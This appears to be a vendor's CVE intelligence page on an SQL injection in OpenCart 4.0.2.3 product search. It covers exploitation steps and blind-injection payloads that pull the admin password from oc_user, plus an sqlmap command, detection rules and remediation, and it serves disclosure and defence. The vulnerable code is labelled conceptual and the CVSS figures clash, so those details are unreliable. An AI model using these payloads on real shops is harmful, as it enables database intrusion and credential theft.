☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-58341

CVE-2024-58341 is a critical SQL injection vulnerability in OpenCart Core version 4.
📅 PUBLISHED: 2026-03-25 16:04 UTC 🔄 UPDATED: 2026-09-23 20:12 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.34%
👁️
0.34% probability
8.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-58341 is a critical SQL injection vulnerability in OpenCart Core version 4.0.2.3. The flaw resides in the product search functionality, where the search parameter is not properly sanitized before being used in database queries. An unauthenticated attacker can exploit this by sending crafted GET requests to the product search endpoint, enabling boolean-based blind or time-based blind SQL injection. This allows extraction of sensitive database information, including user credentials, session data, and other confidential records. The vulnerability has a CVSS score of 0.0 (placeholder) but based on the vector, it is critical. No official patch has been released, and no public exploit code or Nuclei template is available at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

OpenCart is a PHP-based e-commerce platform distributed as a self-hosted package. The vulnerability affects the core application, not a specific package manager (NPM, PyPI, Go, Ruby). However, administrators should verify the integrity of their OpenCart installation and monitor for any malicious modifications to the search parameter handling code.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High (H) – Full database read access possible.
  • Integrity (I): High (H) – Potential to modify or delete data.
  • Availability (A): High (H) – Could lead to denial of service or data destruction.

Threat Level: Critical. The combination of unauthenticated remote access, low complexity, and high impact makes this a severe risk for any OpenCart 4.0.2.3 installation.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the product search functionality. The search GET parameter is directly concatenated into a SQL query without proper sanitization or parameterized statements. The vulnerable code likely resides in the catalog model or controller responsible for product search.

Vulnerable Code Snippet (Conceptual):

// In catalog/model/catalog/product.php or similar
$search = $this->request->get['search'];
$sql = "SELECT * FROM " . DB_PREFIX . "product WHERE name LIKE '%" . $search . "%'";
$result = $this->db->query($sql);

Attack Vector: An attacker sends a GET request to the product search endpoint:

GET /index.php?route=product/search&search=test' OR 1=1-- -

The injected SQL becomes:

SELECT * FROM oc_product WHERE name LIKE '%test' OR 1=1-- -%'

This returns all products, confirming the injection point. For data extraction, boolean-based blind or time-based blind techniques are used.

Boolean-Based Blind Example:

GET /index.php?route=product/search&search=test' AND (SELECT SUBSTRING(password,1,1) FROM oc_user WHERE user_id=1)='a'-- -

If the page returns normally, the first character of the admin password is 'a'. Otherwise, it returns an error or empty result.

Time-Based Blind Example:

GET /index.php?route=product/search&search=test' OR IF((SELECT LENGTH(password) FROM oc_user WHERE user_id=1)=40,SLEEP(5),0)-- -

A 5-second delay indicates the password length is 40 characters (SHA1 hash).

Vulnerable vs. Patched Code

Vulnerable Code (OpenCart 4.0.2.3):

// catalog/model/catalog/product.php
public function getProducts($data = array()) {
    $sql = "SELECT * FROM " . DB_PREFIX . "product p LEFT JOIN " . DB_PREFIX . "product_description pd ON (p.product_id = pd.product_id) WHERE pd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
    
    if (!empty($data['filter_name'])) {
        $sql .= " AND (pd.name LIKE '%" . $this->db->escape($data['filter_name']) . "%'";
    }
    // ... rest of query
}

Note: $this->db->escape() is insufficient as it only escapes certain characters but does not prevent injection in all contexts.

Patched Code (Conceptual):

// catalog/model/catalog/product.php
public function getProducts($data = array()) {
    $sql = "SELECT * FROM " . DB_PREFIX . "product p LEFT JOIN " . DB_PREFIX . "product_description pd ON (p.product_id = pd.product_id) WHERE pd.language_id = :language_id";
    
    if (!empty($data['filter_name'])) {
        $sql .= " AND (pd.name LIKE :filter_name";
    }
    // ... rest of query
    
    $this->db->query($sql, [
        ':language_id' => (int)$this->config->get('config_language_id'),
        ':filter_name' => '%' . $data['filter_name'] . '%'
    ]);
}

The patched version uses parameterized queries (prepared statements) to separate SQL logic from user input.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Install OpenCart 4.0.2.3 on a local server (e.g., XAMPP, Docker).
  2. Ensure the product search page is accessible.

Exploitation Steps:

  1. Identify Injection Point:

    GET /index.php?route=product/search&search=test' OR '1'='1
    

    If the page returns results, the injection is confirmed.

  2. Extract Database Version:

    GET /index.php?route=product/search&search=test' AND (SELECT @@version) LIKE '%MariaDB%'-- -
    
  3. Extract Admin Credentials:

    GET /index.php?route=product/search&search=test' AND (SELECT ASCII(SUBSTRING(password,1,1)) FROM oc_user WHERE user_id=1)=97-- -
    

    This checks if the first character of the admin password is 'a' (ASCII 97). Use a script to brute-force all characters.

  4. Automated Exploitation with sqlmap:

    sqlmap -u "http://target.com/index.php?route=product/search&search=test" --batch --dbs
    

No public exploit code is available from Exploit-DB.

Blue Team (Defensive)

Detection:

  • Monitor for abnormal GET requests to /index.php?route=product/search containing SQL keywords (e.g., OR, AND, SLEEP, UNION).
  • Look for requests with long search parameters or unusual characters (e.g., ', --, #).
  • Use WAF rules to block SQL injection patterns.

Hunting:

  • Search web server logs for requests to product/search with search parameter containing SQL syntax.
  • Check database logs for slow queries or errors related to the product search table.

Indicators of Compromise (IOCs)

Network IOCs:

  • GET requests to /index.php?route=product/search with search parameter containing:
    • ' OR '1'='1
    • ' AND SLEEP(5)-- -
    • ' UNION SELECT ...
    • ' AND (SELECT ... FROM ...)
  • Unusually high number of requests to the search endpoint from a single IP.
  • Requests with search parameter longer than 200 characters.

Host IOCs:

  • Unexpected entries in web server access logs (e.g., Apache access.log) with SQL injection patterns.
  • Database error logs showing syntax errors near the search parameter.
  • Modified files in /catalog/model/catalog/product.php or related files.

File IOCs:

  • Suspicious PHP files uploaded to the server (if the injection leads to file upload).
  • New cron jobs or system processes (if RCE is achieved).

Detection Engineering

YARA Rule

rule CVE_2024_58341_SQLi_OpenCart {
    meta:
        description = "Detects SQL injection attempts targeting OpenCart product search"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-58341"
        severity = "critical"
    strings:
        $s1 = "/index.php?route=product/search&search="
        $s2 = "' OR '1'='1"
        $s3 = "' AND SLEEP("
        $s4 = "' UNION SELECT "
        $s5 = "' AND (SELECT "
        $s6 = "FROM oc_user"
        $s7 = "FROM oc_customer"
    condition:
        any of ($s1*) and any of ($s2,$s3,$s4,$s5,$s6,$s7)
}

Sigma Rule

title: OpenCart Product Search SQL Injection Attempt
id: 8a7b6c5d-4e3f-2a1b-0c9d-8e7f6a5b4c3d
status: experimental
description: Detects SQL injection attempts in OpenCart product search endpoint
author: Valters IT
date: 2025/04/10
references:
    - CVE-2024-58341
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - "/index.php?route=product/search&search="
        cs-uri-query|contains|all:
            - "'"
            - "OR"
            - "AND"
            - "SLEEP"
            - "UNION"
            - "SELECT"
    condition: selection
falsepositives:
    - Legitimate search queries containing SQL keywords (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-58341 OpenCart Product Search SQL Injection Attempt";
    flow:to_server,established;
    content:"/index.php?route=product/search&search=";
    nocase;
    pcre:"/(\x27|\x22)\s*(OR|AND)\s+.*(SLEEP|BENCHMARK|UNION|SELECT|INSERT|UPDATE|DELETE)/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    reference:cve,2024-58341;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable Product Search: Temporarily disable the product search functionality if possible.
  2. Web Application Firewall (WAF): Deploy WAF rules to block SQL injection patterns in the search parameter.
  3. Input Validation: Implement strict input validation for the search parameter (allow only alphanumeric characters and spaces).

Long-Term Fix:

  1. Upgrade OpenCart: Monitor for an official patch or upgrade to a newer version (if available).
  2. Parameterized Queries: Rewrite the product search query to use prepared statements or parameterized queries.
  3. Code Review: Conduct a full code review of all database interactions to ensure no other injection points exist.

Workaround:

  • Modify the vulnerable code to use $this->db->escape() with additional sanitization (e.g., htmlspecialchars, strip_tags). However, this is not a complete fix.

Valters IT – Securing digital ecosystems through proactive threat intelligence and robust defense strategies.

{/* [Security Hash: C8394699D368F3056CACAD74] */}

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-58341/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.